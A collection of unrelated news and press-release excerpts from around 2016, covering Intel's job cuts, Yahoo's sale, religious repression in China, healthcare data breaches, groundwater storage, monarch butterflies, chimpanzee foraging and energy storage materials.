Relying on encryption, or any single security approach or tool  whether its a passcode on a mobile device or an antivirus tool  is a flawed and seemingly failure bound strategy, he said. What you need is defense in depth.
Intel this week announced that it would slash 12,000 jobs as part of a restructuring plan to focus more on cloud-based computing and the Internet of Things and less on PCs.

The cuts, which will involve about 11 percent of Intels global workforce by mid-2017, will be achieved through a combination of voluntary retirements and layoffs, the consolidation of numerous job sites, and a re-evaluation of existing and planned programs.

The move will result in US$750 million in savings by the end of 2016 and an annual run rate of $1.4 billion in savings by the middle of next year, Intel said.

It will take a $1.2 billion charge related to the cuts during the second quarter of 2016.

New Segments

The company plans to boost investments in several new areas of growth, including its data center, IoT, memory and connectivity businesses. It also will invest in growing segments such as 2-in-1, gaming and home gateways.

The data center and Internet of Things businesses are now Intels primary growth engines, and combined with memory and FPGAs, form and fuel a virtuous cycle of growth, CEO Brian Krzanich said. Together these businesses delivered $2.2 billion in revenue growth last year, made up 40 percent of our revenue and the majority of our operating profit.

Details of the cuts will be announced in the weeks, he said, adding that the restructuring was not something he took lightly. Krzanich has been focused on making this transitional move since he became CEO three years ago.

The restructuring announcement was made alongside Intels first-quarter earnings report. Net income was $2 billion, or 42 cents a share, compared with $2 billion, or 41 cents, a year ago. Revenue rose 7 percent to $13.7 billion, compared with $12.8 billion a year ago.

Chief Financial Officer Stacy Smith, a 28-year veteran of Intel, will transition to a new role in the company, leading sales, manufacturing and operations, once his successor is in place.

A Long Time Coming

This is not something that just happened overnight, said Mark Hung, vice president of research at Gartner.

Theyve talked about this shift. Its the fact that the PC market has performed worse than even their lowered expectations, he told the E-Commerce Times.

Krzanich has been talking about Intels role in the post-PC world since he took office in 2013. In his first meeting with investors, heindicated that the company would make new investments in mobile and tablets and noted that it had fallen behind competitors like Qualcomm.

Major Changes Ahead

The 12,000 figure stunned a few people in the industry as whispers initially had suggested 1,000 to 2,000 and kept growing in the weeks leading up to the official announcement, said Jim McGregor, principal analyst at Tirias Research.

I think people were shocked not just at the number but shocked at all the changes, he told the E-Commerce Times.

Analysts have warned the company for more than five years that it needed to shift away from the PC chip business, McGregor said, adding that there are still very large questions it needs to answer, including whether it should continue to own manufacturing facilities or spin them off the way AMD did.

AMD spun off its manufacturing business in 2009 and completed the exit from the GlobalFoundries business in 2012.
The parent company of British tabloid the Daily Mail apparently has entered whats shaping up as frenzied round robin bidding war for Yahoo, a firm that long has worn the mantle of a technology relic incapable of exciting interest.

The Daily Mail & General Trust on Monday confirmed a report that it has approached private equity companies on a possible joint bid for the firm.

Given the success of DailyMail.com and Elite Daily we have been in discussions with a number of parties who are potential bidders, a Daily Mail spokesperson said in a statement provided to the E-Commerce Times by company rep Sean Walsh. Discussions are at a very early stage and there is no certainty that any transaction will take place. We have no further comment at this time. Further updates will be provided as appropriate.

Yahoo reportedly has held discussions with Verizon, IAC/Interactive Corp. and CBS Corp., according to the WSJ, but has not yet sat down with Daily Mail executives. Verizon, whose CEO confirmed interest in acquiring Yahoos core Web business several weeks ago, is widely seen as the leading candidate to pull off a deal.

Yahoo has extended the deadline for receipt of first-round bids from April 11 to April 18, according to reports.

The Daily Mail is the latest surprise entrant in the contest. Its bid could take the form of one or two potential deals, the WSJ noted.

In one scenario, the private equity partner would take over Yahoos entire U.S. operation and fold the news and media properties into the Daily Mail. The second scenario would have the private equity partner take control of Yahoo and fold its news and media companies into a new firm, which would include DailyMail.com and Elite Daily.

The Daily Mail has been in talks with a half-dozen private equity firms on making a bid, including General Atlantic, according to the WSJ.

Plenty to Offer

Despite Yahoos difficulties as a legacy company, there remains a strong core of Web traffic that might attract traditional media company like the Daily Mail, observed Rick Edmonds, media business analyst at Poynter.

Say what you will about Yahoo,they remain a leader in basic traffic, he told the E-Commerce Times. The rap on the company is that they cannot come up with a growth strategy or carve out a distinctive journalistic role.

The Daily Mail claims about 62 million unique visitors per month in the U.S., citing Comscore data from July 2015.

Yahoo reaches nearly 78 million people per month, making it the ninth biggest website in the country, according to Quantcast.

Yahoo has beefed up its content business over the years, luring major media figures like former CBS anchor Katie Couric, who is global anchor at Yahoo, and former Newsweek investigative reporter Michael Isikoff, who is now the companys chief investigative correspondent.

The news and financial features are good and what makes Yahoo attractive to media companies, said Michael Jude, consumer communication services research manager at Stratecast/Frost & Sullivan.

Yahoos once-leading search engine probably would be folded into another entity, as it is not what it used to be before Google emerged as a leading search provider, he added.

However, the likely scenario is that whichever company acquires Yahoo, it will wind up with the company largely intact, Jude suggested, because the individual parts by themselves are not as attractive.

Identity Crisis

What exactly is Yahoo these days? A media company, a personal destination page, a news source, a 22-year-old startup? asked Kevin Krewell, principal analyst at Tirias Research.

A case can be made for all of these and none of these, he told the E-Commerce Times.

Defining what Yahoos mission actually is has stymied its management since the leadership of cofounder Jerry Yang, and therefore made the company both malleable and cast hard, Krewell said.

Each potential buyer can see it in their own light, but whichever company does get Yahoo will try to mold it to a new owners whims, he predicted. It will be hard, and some things will break, and some parts will be sold off.

Yahoo will have no comment on the deal process, spokesperson Rebecca Neufeld told the E-Commerce Times  either regarding the Daily Mail specifically or in general.
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(Photo: REUTERS / China Daily)Tibetan Buddhists and tourists view a huge Thangka, a religious silk embroidery or painting displaying a Buddha portrait, during the Shoton Festival at Zhaibung Monastery in Lhasa, capital of southwest China's Tibet Autonomous Region, August 25, 2014.

The government in Beijing has ordered all Buddhist monasteries in the restive Tibet Autonomous Region to fly China's flag as mandated by authorities.

The move is seen as a bid to stamp out separatist movements in the province.

In an article for the State-run People's Daily, local communist party boss Chen Quanguo pointed out that temples in the region ought to foster a sense of patriotism and nationalism among people, as the government seeks to build trust among monks and nuns.

Chen announced that the government will deliver more social services to "registered" monks and nuns such as their inclusion in new State pension subsidies, provisions of medical insurance policies, and free health check-ups.

"The innovation temple management system ... is so that people could feel the party and the government's care and warmth," he explained in the article.

To ensure that monks and nuns in all temples in the province are up-to-date with the developments in the country, the party has sent out televisions, radios and newspapers for the people to receive the latest information.

Chen believes that the new strategy of educating monks and nuns will encourage more "religious harmony" especially among the followers of Tibetan Buddhism in the province.

"Under the theme of legal publicity and education activities, the majority of monks and nuns [will be] more conscious of patriotism, compliance with the law and promotion of religious harmony," said the region's most senior party official.

Authorities have long considered Tibetan monasteries to be an obstacle to Beijing's control of the region, as monks and nuns lead the resistance against the communist party.

Scores of monks and nuns have self-immolated over the years to protest the oppressive rule of Beijing in the area.

At least 12 monks were arrested last month in separate raids in Sog County, a Tibentan watchdog group based in the U.K. said. Their whereabouts have yet to be located.

Late last month, a nun set herself on fire to protest the continuing exile of their spiritual leader, the Dalai Lama, who still wields a considerable enough influence in the region.
(Photo: Courtesy Lecheng neighborhood church)A church in Lecheng, Yueqing, Wenzhou was ordered to demolish parts of their building on April 9, 2014.

A pastor's wife in China's central Henan province has died after she and her husband were buried alive when they tried to prevent the destruction of their church.

Though the church leader managed to escape, is wife had suffocated to death by the time she was freed on April 14, China Aid reported while its president Bob Fu condemned the actions of those pulling down the church.

A government-backed company sent staff to bulldoze Beitou Church in Zhumadian, Henan province, after a local developer wished to take control of the church's valuable property, China Aid said.

Li Jiangong, who was in charge of the church, and his wife, Ding Cuimei, stepped in front of the machinery in their attempt to thwart the demolition.

"Bury them alive for me," a member of the demolition team said. "I will be responsible for their lives," China Aid reported.

A bulldozer shoved Li and Ding into a pit and covered their bodies with soil. Crying for help, Li was able to dig his way free, but Ding suffocated before she could be rescued.

"Bulldozing and burying alive Ding Cuimei, a peaceful and devout Christian woman, was a cruel, murderous act," China Aid president Bob Fu said.

"This case is a serious violation of the rights to life, religious freedom and rule of law.

"The Chinese authorities should immediately hold those murderers accountable and take concrete measures to protect the religious freedom of this house church's members."

Many people fear that the Communist party in China, under President Xi Jinping, is acting in an increasingly hostile way toward Christianity, Christian Today reported.

It noted that a government campaign to remove crosses from churches and to detain pastors and Christian leaders has grown in recent months.
(Photo: REUTERS / Danish Siddiqui)Exiled Tibetan spiritual leader the Dalai Lama gestures during a speech at the 108th anniversary of Indian Merchant Chambers in Mumbai September 18, 2014. Tibet's exiled spiritual leader said on Thursday that an unsettled border with China encompassing large parts of the Tibetan plateau was a problem for India and called for talks to resolve the dispute as Chinese President Xi Jinping toured India.

Tibetans around the world have marked the 20th anniversary of the disappearance of the Panchen Lama, the second most important figure in Tibetan Buddhism in a renewed appeal to China, calling for his release.

Groups advocating for Tibet have held candlelight vigils outside Chinese embassies around the world, while the top leader of the exiled government spoke of the motive behind his puzzling disappearance.

"The sole purpose of abducting the Panchen Lama is to deprive him of Buddhist studies, thereby hindering his spiritual influence on the future Tibetan generations," said Penpa Tsering, speaker of the Tibetan parliament, in Dharamshala, India, quoted by ucanews.com on May 18.

The Chinese government has ignored accusations it was behind the disappearance of the Panchen Lama, who was six years old when the Dalai Lama appointed him.

China's controlled media makes no mention of the whereabouts of the Panchen Lama, whom authorities detained on May 18, 1995.

At that time, the government said keeping the Panchen Lama, whose name was Gedhun Choekyi Nyima, had been necessary to protect him from being "kidnapped by separatists."

Later on, the government said Nyima attended school and led a normal life. Authorities never mentioned anything about him since then.

Six months after Nyima's disappearance, Beijing installed its own Panchen Lama, Gyaltsen Norbu, who underwent what the government claimed was a ceremony established during the Qing dynasty in the late 18th century.

The Beijing-backed Panchen Lama continues to be a thorny issue among exiled Tibetans and those living in the Himalayas.

But signs are point that the China-backed Panchen Lama might be breaking away from State policy.

In a rare speech before a political meeting in Beijing in March, Norbu fired off what observers interpreted as a "thinly veiled attack" on China's religious policy in Tibet.

The comments had been perceived as the first indication that Beijing's choice seemed to be straying away from the party line.

The Panchen Lama said he feared that there is a "danger of Buddhism existing in name only," as numbers of Tibetan monks continue to dwindle.

Beijing had implemented quotas on monasteries to curb the rise in the number of monks.
Considered to be the Ten Best UFO Photos Ever Taken I am sure that we could add more pictures to this list but these are considered ten o...
Monitoring facets of school climatelike how safe, supported, and welcome students feel in their schoolshas, until recently, been off limits to some districts that lack the resources or know-how to accurately measure those perceptions.

Tracking those factors is necessary to ensure that efforts to improve the learning environment are effective and that schools dont overlook the needs of students from some populations, like those from racial minority groups, researchers say.

Thats why the U.S. Department of Education released a free, online survey tool this month that will allow schools, districts, and states to administer regular, anonymous school climate surveys.

The survey, developed by a panel of school climate experts, uses questions from existing surveys that were tested with panels of students to ensure their validity.

The site creates an instant analysis of a schools results, and administrators can save the data in existing local data systems so they can track results over time.

Its release comes as schools are increasingly exploring the effects of non-academic factors on student success, and as states are poised to broaden their accountability systems under a new federal education law.

What's Measured? A new online survey tool released by the U.S. Department of Education will allow schools to measure student perceptions of a variety of school climate issues: Engagement

Cultural and linguistic competence

Relationships

School Participation Environment

Physical environment

Instructional environment

Physical health

Mental health

Discipline Safety

Emotional safety

Physical safety

Bullying/cyberbullying

Substance abuse

Emergency readiness/management

If youre not a Cleveland or if youre not a Los Angeles or a Chicago, before it was cost-prohibitive in many cases to engage in this kind of survey, analysis, and reporting, said Sandy Williamson, the director of the National Center on Safe Supportive Learning Environments, referring to urban districts with existing school climate measures.

Complicated But Doable

A growing number of states, including California, also have statewide school-climate surveys, although not all of them are as extensive as the new federal tool, and many are not mandatory for schools and districts.

Williamson helped create a guide to school climate improvement that outlines a cycle of adopting strategies and programs to improve learning environments, keeping tabs on how those interventions go, seeking feedback from parent and community members, and tracking data about how students respond to those efforts over time.

The message needs to be that not one size fits all, Williamson said. Theres not one program, theres not one thing that schools can do that is going to fix this. Its a complicated but doable set of activities, thoughtful planning, and engaging stakeholders.

The kinds of changes that schools have made to improve students sense of safety and belonging run a wide gamut.

They include reworking discipline policies to reduce reliance on suspensions, ensuring that classroom reading materials include characters from a variety of racial and ethnic backgrounds, teaching students how to talk through and resolve problems with their peers, and creating systems to ensure that administrators quickly respond to reports of bullying and harassment.

Schools make these efforts in part out of hopes for returns on academic achievement.

Researchers have found that school climate improvements have led to students who are more likely to be engaged in the classroom, to adopt a willingness to learn from mistakes, and to avoid problematic behaviors.

What we are seeing consistently is that there is a relationship between how students experience the environment and how they perform academically and, I think more importantly, how they engage academically, said David Osher, a vice president at the American Institutes for Research who helped oversee work on the new survey.

Its a matter of science, he said. A sense of anxiety reduces a students working memory, which is essential for learning and processing classroom materials.

So things like strategies to reduce the likelihood of bullying and other efforts to drive down environmental contributors to anxiety can actually improve student learning.

Osher helped design a conditions for learning survey for the Chicago school district that the Cleveland district now uses.

Over time, he has found that as a schools climate scores improve, it also sees correlating improvements in academic performance, discipline rates, and engagement.

That aligns with the work of Carol Dweck, the Stanford University researcher who popularized the idea of a growth mindset, or a recognition that a persons talents and academic strengths are not fixed and can grow through effort.

While many educators have shown great enthusiasm for the idea of encouraging such mindsets, by allowing students to explore and rethink their mistakes, for example, many have overlooked the school-wide factors that can support or detract from such work, Dweck said at Education Weeks Leaders to Learn From event in March.

What is the larger culture that allows teachers and students to feel safe? That were out for your development? she said. Were not here to sort you into who can succeed and who cant.

There are some people who have cautioned about educators expanding focus on, and tracking of, student perceptions.

Some data-privacy advocates are concerned about the growing amount of non-academic data schools measure and track at a student level and about how securely they store that data.

To try to answer those concerns, the new climate survey is anonymous, and schools can store resulting data on local or state data systems, its creators said. In the future, federal officials plan to pull a small, anonymous sample of results to set a national baseline of school climate measurement.

The survey asks students questions about a range of topics, from their understanding of school safety efforts to their perceptions of their peers ability to navigate social and emotional situations. And it may be useful for more than program improvement.

Accountability Implications

The Every Student Succeeds Act, the new federal education law approved by Congress in December, requires states to include at least one indicator other than academic achievement in their school accountability systems.

While the law gives states broad discretion in what indicator to choose, it includes school climate among a list of possibilities.

Some researchers have said student surveys about their own social and emotional skills are not sophisticated enough to be used for accountability purposes.

Climate measures, on the other hand, are more advanced and more accurate, making them more appropriate for use in the systems that states use to measure schools effectiveness, Osher said.

We now have a decade of experience measuring this stuff, knowing that it can be measured and what to avoid, he said.

The survey and the school climate guide are online at safesupportivelearning.ed.gov/edscls.
Airport development adding to economy, jobs in the region

Pittsburgh may always be known as the Steel City, but a wave of new industries are popping up near its airport to redefine business in the region.
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Ely, Cambridgeshire is best known for its majestic cathedral dubbed the 'Ship of the Fens' because it dominates the flat landscape. The city, which is the second smallest in England, is about 14 miles north-northeast of Cambridge and about 80 miles by road from London.

08:11, 22 OCT 2022
Manx beneficial ownership to be shared with Europe's largest economies

Automatic exchange of Manx beneficial ownership information has been agreed with the five largest European economies.

The Isle of Man Government agreed the move - which has been spearheaded by the G5; the UK, France, Germany, Italy and Spain.



Companies, trusts, foundations, shell companies with law enforcement and tax administrations will now have to disclose their beneficiaries.



International regulator, the OECD, and the Financial Action Task Force have been entrusted to develop the new system.
The WSJ Weekly Review reminds me:

EPA Defends Cost of 2015 Mercury Rules in Updated Analysis

by: Amy Harder

Apr 16, 2016

Click here to view the full article on WSJ.com TOPICS: Environmental Regulation SUMMARY: The Environmental Protection Agency issued an updated cost analysis, defending its issuance of the first-ever federal regulations requiring power plants to cut mercury emissions and other air pollutants. CLASSROOM APPLICATION: Students can learn about the estimated costs and benefits of the EPA's new mercury regulations. QUESTIONS:

1. (Advanced) What are the benefits to people of reducing mercury emissions? What are the costs?



2. (Advanced) What is the effect of the new mercury regulation on electricity prices? Are households made better off by the combination of the mercury regulation and the higher prices?



3. (Introductory) Is a new regulation justified if the benefits outweigh the costs of the regulation? Reviewed By: James Dearden, Lehigh University

This link to the article might be ungated. Here is an excerpt:

The Environmental Protection Agency Friday issued an updated cost analysis, defending its issuance of the first-ever federal regulations requiring power plants to cut mercury emissions and other toxic air pollutants. The agencys move was prompted by a Supreme Court ruling last year that said the agency hadnt taken into account the costs to industry, as it was required to do, before deciding to adopt the rules. The Supreme Court, in a 5-4 opinion last June, said the EPA must reconsider the mercury rules because of that omission. The rules, however, have remained in effect during that process. The EPA says that power plants are the single-largest source of U.S. emissions of mercury, a neurotoxicant that can be particularly harmful to children and unborn babies. The EPA initially adopted the mercury rules in 2012 and they took effect in April 2015. The agency initially concluded that costs werent a relevant consideration when it was deciding on the need for the mercury regulations. Later, as it was writing the rule, the agency estimated an annual cost to the utility sector of $9.6 billion, compared with public-health benefits of at least $37 billion. The Supreme Court, however, said the agency should have made that calculation earlier, as it was deciding whether to adopt the rules in the first place. In its updated analysis released Friday, the EPA listed three figures it said supported the case for regulating mercury emissions from power plants. It said utilities compliance costs would be a small fraction of their overall sales and their capital expenditures, and wouldnt make electricity prices rise unduly for customers. The estimate specifically applied the costs to the ongoing expenses of utilities and consumers. It found that the annual cost of complying with the rules would come to between 2.7% and 3.5% of annual electricity sales (relying on figures from 2000 to 2011). It said the capital costs of complying represent between 3.0% and 5.9% of annual power sector capital expenditures over 10 years. And it said the rules would raise electricity prices 3.1% over 10 years. Most utilities have already complied with the rule, making Fridays analysis more important for legal rather than substantive purposes. In one sign that stakeholders have moved on, EPA received just 39 comments as it prepared the updated analysis, compared with nearly one million comments when the rules were being written. Some industry trade groups had argued that mercury rule would prompt blackouts and skyrocketing electricity prices. Neither scenario has materialized, due largely to the increased production of natural gas, which unlike coal produces no mercury and whose price has dropped sharply since 2008.

Here is a link to a previous post (where you can find more previous posts) on the mercury rule. It seems as if the EPA should have done the benefit-cost analysis ex-ante. But when they did the study the power plants should have said "better late than never" and moved on. The court case and the reanalaysis seem like an enormous waste of money.

But, it's not over:

The updated finding won't put an end to the continuing court fights over the rule, which has helped push dozens of coal-fired power plants to shut down. The Supreme Court is considering a petition from 20 states led by Michigan that argue the rule should have been scrapped entirely and that a lower court's decision to keep it on the books was illegal. Last month, the states argued that the move to keep the rule in place "effectively thwarts" the Supreme Court's decision rejecting the mercury rule. Even if EPA issued its new finding to bring it in line with the Supreme Court's 2015 decision, "EPA never had authority to impose it in the first place," the states wrote (Greenwire, March 18). The Obama administration's response to the states' Supreme Court petition is due May 6. The justices will then decide whether to hear the states' appeal. They could dismiss the request in a short order.

Here is EPA's Mercury and Air Toxics Standards website where you can find all of the technical documents.
Maharashtra's new act on bar dancers has nothing to improve their working conditions.

The moral police is on the prowl, working its confounding ways on dance bars yet again. While grudgingly giving up on the ban of dance bars, legislators in Maharashtra have succeeded in creating yet another legislationand how! The labels of obscene and immoral being applied to the performances of bar dancers again impose on the dancer the moral onus of not performing acts that arouse or are viewed as sexual. This was to be expected in the current atmosphere of conservatism endorsed by the ruling power.

The Supreme Court in October 2015 had ruled that the ban on dance bars cannot be upheld in law. On 2 March, the Court rapped the state government, ordering it to grant licences to dance bars by 15 March. It is more than a decade since the ban on dance bars was first put in place in 2005. The Maharashtra legislature has since, and only at the behest of the judiciary, progressed to lifting the ban, and has now put in place the Maharashtra Prohibition of Obscene Dance in Hotels, Restaurants and Bar Rooms and Protection of Dignity of Women (Working Therein) Act, 2016. The act was passed by both houses of the Maharashtra legislature on consecutive days, 11 and 12 April, unanimously and without any debate whatsoever.
Recent data breaches affecting Floridas Palm Beach County Health Department, Wisconsins Oneida Health Center, and Arkansas Pain Treatment Centers of America (PTCOA) and Interventional Surgery Institute (ISI) have exposed more than 23,000 patients personal information.

According to PTCOA and ISI, the personal data of 19,397 of their patients was exposed when data servers belonging to third-party vendor Bizmatics were hacked. Bizmatics owns and operates the electronic health record and practice management tool PrognoCIS, which is used by PTCOA and ISI, among others (h/t FierceHealthIT).

Because PrognoCIS stores and organizes patient files, the hacker may have accessed patient names, addresses, health insurance information, health visit information, drivers license numbers and, in some cases, Social Security numbers.

Bizmatics has consulted with law enforcement and has hired an independent cyber forensics firm to investigate and assure the intrusion is contained and the affected systems are better secured, PTCOA and ISI CEO Bill McCrary wrote in the notification letter [PDF]. We have learned that Bizmatics became aware of the incident in late 2015, but neither Bizmatics, law enforcement, nor the cyber forensics firm is able to pinpoint the precise date on which the attack began.

All those affected are being offered a free one-year membership in Experians ProtectMyID Alert service.

The Oneida Health Center in Wisconsin recently announced that on February 17, 2016, a flash drive containing patient information was stolen from its dental offices. The drive held 2,734 patients names, dental patient identification numbers, dates of visits, and dental insurance identification numbers (h/t HealthITSecurity).

Although the theft was discovered the same day and police were immediately notified, the drive has not been recovered.

To prevent a reoccurrence of this type of isolated internal incident, we are implementing the following measures: reviewing and implementing administrative procedures regarding the use of flash drives and implementing appropriate technological safeguards concerning their security and storage, the center said in a statement.

And the Florida Department of Health recently announced that federal law enforcement officials had obtained a list of 1,076 Palm Beach County Health Department patients names, birthdates, Social Security numbers, Medicaid numbers, phone numbers and medical record numbers (h/t Modern Healthcare).

The feds obtained this list, department spokesman Tim OConnor told Modern Healthcare. We dont know how.

The Department of Health takes its role of safeguarding clients personal information very seriously. and is keenly aware of how important this information is to everyone and is fully committed to safeguarding all confidential information, the department said in a statement. The department trains staff on the importance of safeguarding protected health information by requiring annual HIPAA and Privacy and Information Security training to all employees.

According to the Healthcare Edition of the 2016 Vormetric Data Threat Report, 96 percent of senior IT security executives at U.S. healthcare organizations feel vulnerable to data threats, and 63 percent have experienced a data breach.

The report, based on responses from 1,100 senior IT security executives at large enterprises, including more than 100 at U.S. healthcare organizations, also found 60 percent of respondents at healthcare organizations are increasing spending to protect sensitive data, and 46 percent are planning to invest in data-at-rest defenses this year.

With the boom in black market sales of healthcare data, the potential for financial harm to patients privacy and security from inadequately protected data is growing fast, Vormetric vice president of marketing Tina Stewart said in a statement.

For healthcare organizations, they now have to prioritize the safety of patient data and privacy as part of patient care, and realize that meeting compliance requirements is only a start, Stewart added.

A recent eSecurity Planet article offered advice on securing sensitive data in a post-perimeter world.
Although years of drought and over-pumping have significantly depleted groundwater in Arizona and California, a new study shows the situation has an upside: It has created underground reservoirs where extra surface water can be stored during wet times so it is available during drought.

The study, published in the journal Environmental Research Letters in March, also found that regions that actively store surface water in underground aquifers have increased their groundwater supply over time, even as surrounding areas depleted theirs.

The findings are important because they show that techniques used to increase groundwater storage are working. With droughts and floods projected to increase due to climate change, and California investing $2.7 billion to expand water storage, these techniques could help drought-prone regions prepare for extremes, said lead author Bridget Scanlon of The University of Texas at Austin's Bureau of Economic Geology. The bureau is a research unit at The University of Texas Jackson School of Geosciences.

"In many regions now we're dealing with these extremes of drought and then intense floods, and that's a real challenge for water resource managers," Scanlon said. "To try and resolve this disconnect between supply and demand, we can store water in depleted aquifers."

The study examined decades' worth of groundwater data from California's Central Valley and active management areas across central Arizona -- both regions that collect extra water from surface reservoirs and store it in underground aquifers using a technique called managed aquifer recharge. The method has been used in the Central Valley since the 1960s and in Arizona since the 1990s.

As part of the storage strategy, the regions also managed their water resources through conjunctive use, relying primarily on surface aquifers during wet periods and on groundwater during dry periods.

"When you do that, you stop pumping the groundwater so it can recover," Scanlon said. "But you are also adding recharge from surface water, so you have a double benefit."

The researchers found that groundwater in Arizona's active management areas has been rising an average of 0.3 to 1.6 feet per year since the early 2000s. In contrast, nearby areas saw groundwater declines of 1.5 to 4 feet per year. The Central Arizona Project aqueduct, completed in 1993, allowed aquifer recharge and conjunctive use by delivering water from Lake Mead that replaced groundwater-based irrigation in farms. The water was also transported to spreading basins where it percolated into the aquifer.

In California, the researchers found that water imported through the Central Valley Project and California State Water Project canals helped reverse long-term declining groundwater levels by reducing groundwater pumping during wet periods and recharging groundwater using spreading basins. For instance, in one managed aquifer recharge site, the study shows that groundwater levels today would be about 300 feet lower if water storage techniques had not been applied. And although declines in groundwater levels were observed during drought, the declines were not as dramatic as those observed outside of the managed aquifer recharge areas.

Thomas Harter, the Robert M. Hagan Endowed Chair in Water Management and Policy at the University of California, Davis, said the research illustrates the value of groundwater recharge techniques by blending long-term data with detailed accounts of water management strategies.

"I appreciate Bridget's work to provide a synthesis, not just in California, but also the comparison between California and Arizona, that points toward the larger, global significance of aquifer recharge and conjunctive use," Harter said.

There is plenty of storage space left in aquifers, researchers found. Central Valley aquifers have about 44 cubic kilometers of space, the same amount of space as all of California's surface reservoirs. In Arizona, the space in the aquifers corresponds to about 100 cubic kilometers of space, about three times the capacity of Lake Mead, the largest surface reservoir in the U.S.

Developing additional aquifer recharge projects could help fill the empty space, and enhance water security during climate extremes, Scanlon said.

"These approaches will help in dealing with these current extremes and will help in the future when we have to deal with them even more," Scanlon said.

###

Robert Reedy and Kristine Uhlman from the bureau and Claudia Faunt and Don Pool from the U.S. Geological Survey in California and Arizona also worked on the study.
ITHACA, N.Y. - In the face of scientific dogma that faults the population decline of monarch butterflies on a lack of milkweed, herbicides and genetically modified crops, a new Cornell University study casts wider blame: sparse autumnal nectar sources, weather and habitat fragmentation.

"Thanks to years of data collected by the World Wildlife Fund and citizen-scientists across North America, we have pieced together the monarch life cycle to make inferences about what is impacting the butterflies," said Anurag Agrawal, Cornell University professor of ecology and evolutionary biology and senior author on the new paper, to be published April 25 in the journal Oikos.

The scientists did not find evidence supporting the "milkweed-limitation hypothesis" during the monarch's summer breeding season in the midwestern and northeastern United States. Rather, through statistical analyses, the group found problems in the transition from the U.S. and southern Canada to the overwintering grounds in Mexico. Milkweed is only a food source for the caterpillars in summer, but not as the butterflies leave for their epic southern migration in autumn. The study finds that a "lack of milkweed, the only host plant for monarch butterfly caterpillars, is unlikely to be driving the monarch's population decline, as the problem appears to occur after they take flight in the fall," said Agrawal.

In any given year, four generations of monarch butterflies traverse much of North America over a 2,000-mile trek beginning in early spring when they leave the Mexican wintering grounds. In the first generation, millions of monarchs flow through Texas and Oklahoma, with the subsequent generations moving into the Midwest and Northeast, until the start of fall, when the fourth generation returns to the mountainous, high-altitude Oyamel fir forests of central Mexico.

Despite the seemingly good news of annual population bounce-back on the return from the south each year, the scientists were clear that the monarch population has been dwindling. Yes, said Agrawal: "The consistent decline at the overwintering sites in Mexico is cause for concern. Nonetheless, the population is six times what it was two years ago, when it was at its all-time low." Agrawal credits the population rebound to improved weather and release from the severe drought in Texas.

Agrawal said that a persistent decline caused by lack of nectar sources or other threats such as habitat loss or insecticide use can conspire with large annual population fluctuations - mostly due to weather - and may eventually push monarchs to dangerously low numbers.

"Given the intense interest in monarch conservation, the blame being put on herbicide use and the national dialog about potentially listing monarchs under the endangered species act, we have to get the science right," said Agrawal.

###

The paper, "Linking the continental migratory cycle of the monarch butterfly to understand its population decline," was posted online April 4. The lead author was Hidetoshi Inamine, a graduate student in the field of the ecology and evolutionary biology. Other authors were Stephen P. Ellner, the Horace White Professor of Ecology and Evolutionary Biology, and James P. Springer of the North American Butterfly Association. The research was funded by Cornell's Atkinson Center for a Sustainable Future.
Chimpanzees use manipulative dexterity to evaluate and select figs, a vital resource when preferred foods are scarce, according to a new Dartmouth-led study just published by Interface Focus. The action resembles that of humans shopping for fruits, and the study demonstrates the foraging advantages of opposable fingers and careful manual prehension, or the act of grasping an object with precision. The findings shed new light on the ecological origins of hands with fine motor control, a trait that enabled our early human ancestors to manufacture and use stone tools. (A pdf of the study is available upon request).

"The supreme dexterity of the human hand is unsurpassed among mammals, a fact that is often linked to early tool use," said lead author Nathaniel J. Dominy, professor of anthropology and adjunct professor of biological sciences at Dartmouth. "A problem is that we know little about the selective pressures that favored the advanced manual skills of chimpanzees and other apes. These skills were the cognitive foundation for the origin of our extraordinary hands, a trait that made all the difference."

For the study, Dominy and his colleagues observed the foraging behaviors of chimpanzees, black-and-white colobus monkeys, red colobus monkeys and red-tailed monkeys in Kibale National Park, Uganda. The primates depended on figs, and although ripe figs come in a range of colors, many stay green throughout development and every phase can be present on a single tree, making it difficult to discern solely by color, which figs are ripe. To determine if the green figs of Ficus sansibarica are edible, chimpanzees ascend trees and make a series of sensory assessments-- they may look at the fig's color, smell the fig, manually palpate or touch each fig (using the volar pad of the thumb and lateral side of the index finger) to assess the fruit's elasticity and/or bite the fig to determine the stiffness of the fruit. Colobus monkeys do not have thumbs and evaluate the ripeness of figs by using their front teeth.

The team examined the spectral, chemical and mechanical properties of figs, which included boring into individual figs to assess the elasticity of the fruit and extracting fig contents to estimate nutritional rewards such as sugar. They observed the non-selection, rejection and ingestion of individual figs, and collected specimens of figs that were: avoided; palpated and rejected; palpated, bitten and rejected; and edible for which less than 50 percent of the fruit was left. Chimpanzees also use their sense of smell to assess individual figs; however, the study was unequipped to capture olfactory volatiles. Based on the sensory data obtained, the team estimated the predictive power that sensory information may have on chimpanzees when estimating the ripeness of figs.

Palpating figs was about four times faster than detaching and then biting the fruit, suggesting that chimpanzees may have a substantial foraging advantage over birds and monkeys, which rely on visual and oral information. The study provides new insight into how chimpanzees exhibit advanced visuomotor control during the foraging process and more broadly, on the evolution of skilled forelimb movements.

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Nathaniel J. Dominy, lead author, and professor of anthropology and adjunct professor of biological sciences at Dartmouth, is available for comment at: nathaniel.j.dominy@dartmouth.edu.

Justin D. Yeakel, assistant professor at UC-Merced; Uttam Bhat, graduate fellow at the Santa Fe Institute; Lawrence Ramsden, honorary assistant professor at the University of Hong Kong; Richard W. Wrangham, Ruth B. Moore Professor of Biological Anthropology at Harvard University; and Peter W. Lucas, research associate at the Smithsonian Tropical Research Institute, also served as co-authors.

Note to editors: Hi-res images and video are available upon request.

Broadcast studios: Dartmouth has TV and radio studios available for interviews. For more information, visit: http://communications.dartmouth.edu/media/broadcast-studiosp
The secret to making the best energy storage materials is growing them with as much surface area as possible. Like baking, it requires just the right mixture of ingredients prepared in a specific amount and order at just the right temperature to produce a thin sheet of material with the perfect chemical consistency to be useful for storing energy. A team of researchers from Drexel University, Huazhong University of Science and Technology (HUST) and Tsinghua University recently discovered a way to improve the recipe and make the resulting materials bigger and better and soaking up energy -- the secret? Just add salt.

The team's findings, which were recently published in the journal Nature Communications, show that using salt crystals as a template to grow thin sheets of conductive metal oxides make the materials turn out larger and more chemically pure -- which makes them better suited for gathering ions and storing energy.

"The challenge of producing a metal oxide that reaches theoretical performance values is that the methods for making it inherently limit its size and often foul its chemical purity, which makes it fall short of predicted energy storage performance," said Jun Zhou, a professor at HUST's Wuhan National Laboratory for Optoelectronics and an author of the research. Our research reveals a way to grow stable oxide sheets with less fouling that are on the order of several hundreds of times larger than the ones that are currently being fabricated."

